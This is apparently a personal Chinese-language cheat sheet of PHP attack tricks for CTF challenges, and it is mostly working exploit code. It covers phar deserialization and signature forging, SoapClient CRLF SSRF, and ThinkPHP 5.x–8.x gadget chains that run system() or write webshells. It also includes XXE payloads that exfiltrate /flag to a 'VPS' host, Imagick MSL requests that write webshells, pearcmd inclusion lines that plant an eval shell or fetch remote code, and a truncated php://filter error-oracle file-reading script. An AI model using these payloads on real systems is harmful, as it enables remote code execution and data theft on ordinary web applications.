PHP的一些trick
会长期更新的系列,自用。
反序列化
Magic method
- 构造函数
__construct
对象被创建的时候调用 - 析构函数
__destruct
对象被销毁的时候调用 - 方法重载
__call
在对象中调用一个不可访问方法时调用 - 方法重载
__callStatic
在静态上下文中调用一个不可访问方法时调用 - 在给不可访问属性赋值时,
__set()
会被调用。 - 读取不可访问属性的值时,
__get()
会被调用。 - 当对不可访问属性调用
isset()
或empty()
时,__isset()
会被调用 - 当对不可访问属性调用
unset()
时,__unset()
会被调用 __sleep()
在serialize()
函数执行之前调用__wakeup()
在unserialize()
函数执行之前调用__toString
在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发
Primitive class
读文件名:
echo new GlobIterator('/f*');
echo new DirectoryIterator('glob:///f*');
echo new FilesystemIterator('glob:///f*');
读文件:
echo new SplFileObject('/flag')
phar
没有unserialize()时或许可以通过phar进行反序列化。
触发phar的函数:
能够利用的函数 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
利用phar的条件:
1)phar文件要能够上传至服务器
2)要有可用的魔术方法为跳板
3)文件操作函数的参数可控,且 : 、 / 、phar等特殊字符没有被过滤
4)php版本小于8
生成phar脚本:
<?php
class A {
}
class B {
}
class C {
}
@unlink("phar.phar");
$user = new B();
$phar = new Phar("phar.phar"); //生成phar.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub,<?php 前的字符无所谓,GIF89a绕过图片头
$phar->setMetadata($user); //写入metadata
$phar->addFromString("exp.txt","Squirt1e"); //签名
$phar->stopBuffering();
?>
phar重签名
绕过__wakeup需要修改数据,但是phar有签名,可以用python重新计算签名生成合法phar。
import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)
也可以tar绕过。
phar识别到tar会直接反序列化.phar/.metadata的数据,不需要签名
tar -cf phar.tar .phar/
SoapClient::__call+反序列化+CRLF打SSRF
如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化,SoapClient打SSRF比较常见。
首先测试下正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法,那么__call
方法会POST一个本地请求从而绕过本机ip校验。
CRLF注入任意请求头:
用安洵杯的一道题做示范。
<?php
$target = "http://127.0.0.1:5555/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('uri' => "123",'location' => $target,'user_agent' => "aaaa\r\nCookie: PHPSESSID=123456"));
$payload = serialize($attack);
$b=unserialize($payload);
$a="not_exists_function";
$b->a();
CRLF就是\r\n
在HTTP报文中当换行用。user-agent注入Cookie成功。
CRLF注入任意POST数据
Content-Type不是可控的,但可以通过User-Agent伪造ContentType实现任意POST请求。
注:Content-Length也需要注入。
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=123456'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Squirt1e^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
php session
构造器的差异造成的反序列化。
- ini_set(‘session.serialize_handler’,’php_serialize’);
- ini_set(‘session.serialize_handler’,’php’);
像这种就可控。
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
————————————————————————————————————————————————————————
call_user_func($a,$_POST);
//$a=session_start POST: serialize_handler=pphp_serialize
对于php_serialize构造器,序列化数据前面要加个’|’。
然后使用php构造器就能反序列化了,因为php构造器分割键为’|’。
thinkpphp gadget
version 5.1.x
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["aniale"=>["calc.exe","calc"]];
$this->data = ["aniale"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'aniale'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
version 5.0.18 5.0.24
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows));
}
version [6.1.3,8.0.4]
<?php
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["test"] = ["whoami"];
$this->withAttr["test"] = ["system"];
$this->json = ["test"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered = false;
$this->resource = new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"] = ["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];//
$this->config["default"] = "getRule";
}
}
use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
tp 6.x
<?php
namespace think{
abstract class Model{
private $lazySave = true;
private $data = [];
private $exists = false;
protected $table;
protected $suffix;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->table = $this;
$this->suffix = "pankas";
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\model\Pivot;
$a = new Pivot("calc");
echo base64_encode(serialize($a));
}
version 8.x
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\route {
use think\model\Pivot;
class Route {
}
class Resource {
protected $rule;
protected $router;
protected $name;
protected $rest;
protected $option;
public function __construct($cmd) {
$this->rule = "pankas";
$this->router = new Route();
$this->name = "pankas";
$this->rest = [['a', '<id>']];
$this->option = ['var'=>[$this->rule=>new Pivot($cmd)]];
}
}
class ResourceRegister {
public function __construct($cmd)
{
$this->registered = false;
$this->resource = new Resource($cmd);
}
}
}
namespace {
use think\route\ResourceRegister;
echo base64_encode(serialize(new ResourceRegister("calc")));
}
可实例化类new $class($argv);
如果仅仅是可实例化任意类,并且能接受参数,那么此时该如何利用呢?其实无非就是找自定义类、内置类或者扩展类。
自定义类
实例化类时会触发构造函数,那么就会触发里面的代码。如果xxx
为可以利用的函数,那么自然可以攻击。
class Evil {
function __construct ($cmd) {
// xxx
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
一般不会出现这样的情况,即便目标服务中有这样的恶意类,但可能由于没有include
而无法调用。
通过php
中的自动加载函数可以找到全局自定义的类。因此利用面就从单个文件扩展到整个项目,前提是有注册回调spl_autoload_register
或定义来设置的__autoload
。
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
内置类
内置类很多,但如果只能传递一个参数并且不对创建的对象进行方法调用,那么就很难找到合适的内置类了。
SplFileObject
SplFileObject
实现了一个允许连接到任何本地或远程 URL 的构造函数。可以通过该类实现SSRF。
PHP < 8
中的 SSRF
可以通过 Phar
协议技术转化为反序列化。
因此,满足以下条件即可:
- 可上传文件,且路径已知。
- 存在
pop
链
SimpleXMLElement
该类接收3
个参数。
通过设置第三个参数dataIsURL
为 true
可以实现远程xml
文件的加载。第二个参数的常量值设置为2
即可。第一个参数 data
用于引入的外部实体的url
。因此我们可以通过它打个XXE。
evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://VPS/?%payload;'>">
也可以直接读文件,就不需要第三个参数了。
<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY f SYSTEM \"file:///etc/passwd\">]><x>&f;</x>
扩展类
Magick
Imagick
拓展类是用于处理图像的,它是通过Magick Scripting Language
语法来处理的。
这个语法可以用来写、转移文件,难点在于它只支持图片格式,如果不是它支持的图片格式的话就报错。
通过检索可知利用ppm
图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析,这个东西就很妙。
例如SCTF 2023
的fumo_backdoor
。
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}
public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;
new $class($argv);
}
}
}
$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];
switch ($cmd) {
case 'unserialze':
unserialize($data);
break;
case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;
default:
highlight_file(__FILE__);
break;
}
这里如果web
目录可写,我们可以直接写马。
通过vid
模式,我们可以包含未知名称的MSL
格式的临时文件,从而触发MSL
语法达到写的目的。
<?php
$webshell = "<?php system('ls');?>";
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($webshell)) . $webshell);
数据包
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 710
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4=" />
<write filename="/var/www/html/b.php" />
</image>
--------------------------c32aaddf3d8fd979--
RCE
当然,一般情况下web
目录没法写,这题也是,只不过为了测试改了权限。
此题的正确解法是想办法触发__sleep
从而把flag
读出来。
要触发__sleep
必须要序列化,因此该题只能搞个session
序列化从而触发__sleep
了。
而php
的session
是在tmp
目录下存放的,该目录一般都可写,并且名称是可控的。
<?php
class fumo_backdoor //生成ppm格式的session内容
{
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$fumo = new fumo_backdoor();
$fumo->path = "/tmp/squirt1e"; //readfile读取的文件,此时是空的。
$serialized = "|" . serialize($fumo);
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);
数据包
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 709
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czoxMzoiL3RtcC9zcXVpcnQxZSI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
<write filename="/tmp/sess_squirt1e" />
</image>
--------------------------c32aaddf3d8fd979--
写成功。
接下来就要把flag
带到/tmp/squirt1e
中,因为题目设置了open_basedir
,没办法直接读。我们需要找到一个对文件头要求不严格的文件协议并手动指定,因为flag
不是图片,通过Imagick
移动会导致报错。
最终发现mvg
、uyvy
、RGB
三种格式可以利用。
前两个亲测可用。
<?xml version="1.0" encoding="UTF-8"?>
<group>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/squirt1e" />
</image>
</group>
最后一个参考作者的exp
没成功,记录一下吧,万一以后用得到呢。
<?xml version="1.0" encoding="UTF-8"?>
<group>
<!-- step2: copy flag -->
<image id="a1">
<!-- 设置为RGB格式,读取flag -->
<read size="{img_size}x1" filename="rgb:/flag"/>
</image>
<image id="w1">
<!-- 设置⼀个空图⽚ -->
<read size="10x10" filename="null:"/>
<!-- 将空图⽚和flag数据进⾏拼接 -->
<composite image="a1" geometry="+0"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a2">
<!-- 添加偏移后,读取flag -->
<read size="{img_size}x1+1" filename="rgb:/flag"/>
</image>
<image id="w2">
<read size="10x10" filename="null:"/>
<composite image="w1" geometry="+0"/>
<!-- 将上⼀张图⽚和这次读取的flag进⾏拼接 -->
<composite image="a2" geometry="+1"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<!-- 不断重复,如果读取超出范围,便会报错,并留下上⼀次写⼊的⽂件 -->
<image id="a3">
<read size="{img_size}x1+2" filename="rgb:/flag"/>
</image>
<image id="w3">
<read size="10x10" filename="null:"/>
<composite image="w2" geometry="+0"/>
<composite image="a3" geometry="+2"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a4">
<read size="{img_size}x1+3" filename="rgb:/flag"/>
</image>
<image id="w4">
<read size="10x10" filename="null:"/>
<composite image="w3" geometry="+0"/>
<composite image="a4" geometry="+3"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a5">
<read size="{img_size}x1+4" filename="rgb:/flag"/>
</image>
<image id="w5">
<read size="10x10" filename="null:"/>
<composite image="w4" geometry="+0"/>
<composite image="a5" geometry="+4"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a6">
<read size="{img_size}x1+5" filename="rgb:/flag"/>
</image>
<image id="w6">
<read size="10x10" filename="null:"/>
<composite image="w5" geometry="+0"/>
<composite image="a6" geometry="+5"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
</group>
一些脏trick
php session not started
想办法整个session,利⽤SESSION UPLOAD PROGRESS创建⼀个 session,这样就可以看到源码了
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cookie: PHPSESSID=1
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 204
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS";
Content-Type: application/octet-stream
1
--------------------------c32aaddf3d8fd979--
绕过md5以及sha1强比较
利用 Error/Exception 内置类进行hash绕过。
$a = new Error("null",1);$b = new Error("null",1);
临时文件条件竞争
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={
'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(50):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
pearcmd
include的时候可以打pearcmd,条件是register_argc_argv=On 需要开启。
/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);die()?>+/tmp/test.php
或者
/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php
pearcmd.php还可以用peclcmd.php代替。
pearcmd常见路径:
/usr/local/lib/php/pearcmd.php
/usr/local/pear/share/pear/pearcmd/pearcmd.php
/usr/share/php/pearcmd.php
filter chain
PHP_INCLUDE_TO_SHELL_CHAR_DICT
oracle 测信道读文件
import requests
import sys
from base64 import b64decode
"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.
THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain
dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
does not cause a 500 error.
THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""
def join(*x):
return '|'.join(x)
def err(s):
print(s)
raise ValueError
def req(s):
data = {
'0': f'php://filter/{s}/resource=/flag'
}
return requests.post('http://localhost:5000/index.php', data=data).status_code == 500
"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs
base64-encoding the flag file twice takes care of the first condition.
We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.
Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""
blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)
header = 'convert.base64-encode|convert.base64-encode'
# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')
print(f'baseline blowup is {baseline_blowup}')
trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
assert req(f'{header}|{trailer}') == False
print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')
"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:
+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:
abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""
flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)
"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""
rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''
def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
